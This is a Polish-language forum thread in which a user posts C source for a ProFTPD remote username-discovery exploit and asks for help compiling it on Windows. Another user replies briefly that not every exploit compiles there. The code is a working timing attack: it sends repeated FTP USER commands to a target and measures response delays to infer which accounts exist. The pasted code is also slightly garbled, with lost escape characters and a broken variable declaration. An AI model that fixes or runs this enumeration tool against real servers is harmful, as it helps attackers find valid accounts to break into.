exploit ProFTPD

joker1988

Użytkownik
Dołączył
Wrzesień 5, 2004
Posty
4
Ściagnalem exploita ale nie wiem jak go skompilowac wyskakuje za kazdym razem blad jeden poprawilem ale ten drugi za ch... nie moge go znalesc.Prosze was o pomoc:
Kod:
#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <arpa/inet.h>

#include <sys/time.h>



#define PORT  21

#define PROBE 8 



main (int argc, char **argv)

{

int sock,n,y;

long dist,stat=0;

struct sockaddr_in_sin;

char buf[1024], buf2[1024];

struct timeval tv, tv2;

struct timezone tz, tz2;



printf ("Proftpd remote users discovery exploitn"

                "      Coded by Leon / LSS Securityn"

">-------------------------------------<n");



if (argc != 3) { printf ("usage: %s <IP> <user>",argv[0]);  exit(0); }



sock = socket (AF_INET, SOCK_STREAM, 0);

sin.sin_family = AF_INET;

sin.sin_port = htons (PORT);

sin.sin_addr.s_addr = inet_addr (argv[1]);

bzero (sin.sin_zero,8);



connect (sock, (struct sockaddr*)&sin, sizeof(struct sockaddr));



printf ("Login time: ");

n = read (sock,buf2, sizeof(buf2));

for (y=0;y<PROBE;y++) {

gettimeofday (&tv,&tz);

snprintf (buf, sizeof(buf)-1,"USER %srn",argv[2]);

write (sock, buf, strlen(buf));

n = read (sock,buf2, sizeof(buf2));

gettimeofday (&tv2,&tz2);

dist =tv2.tv_usec - tv.tv_usec;

stat += dist;

printf (" %d |",dist);

}

printf ("nAvrg: %dn",(stat/PROBE));

close (sock);

}
 

joker1988

Użytkownik
Dołączył
Wrzesień 5, 2004
Posty
4
Tutaj masz screena kompiluje w Dev-C++
devc0wa.png
 

joker1988

Użytkownik
Dołączył
Wrzesień 5, 2004
Posty
4
Ale powinno sie dac skompilowac pod winde..
No bo pod linuxem wiem ze sie da ale czytalem ze kazdego sploita mozna skompilowac w windowsie(moze sie myle)
 

Vardi

Użytkownik
Dołączył
Listopad 23, 2003
Posty
143
Originally posted by joker1988
Ale powinno sie dac skompilowac pod winde..
No bo pod linuxem wiem ze sie da ale czytalem ze kazdego sploita mozna skompilowac w windowsie(moze sie myle)

Mylisz się.
 
Do góry Bottom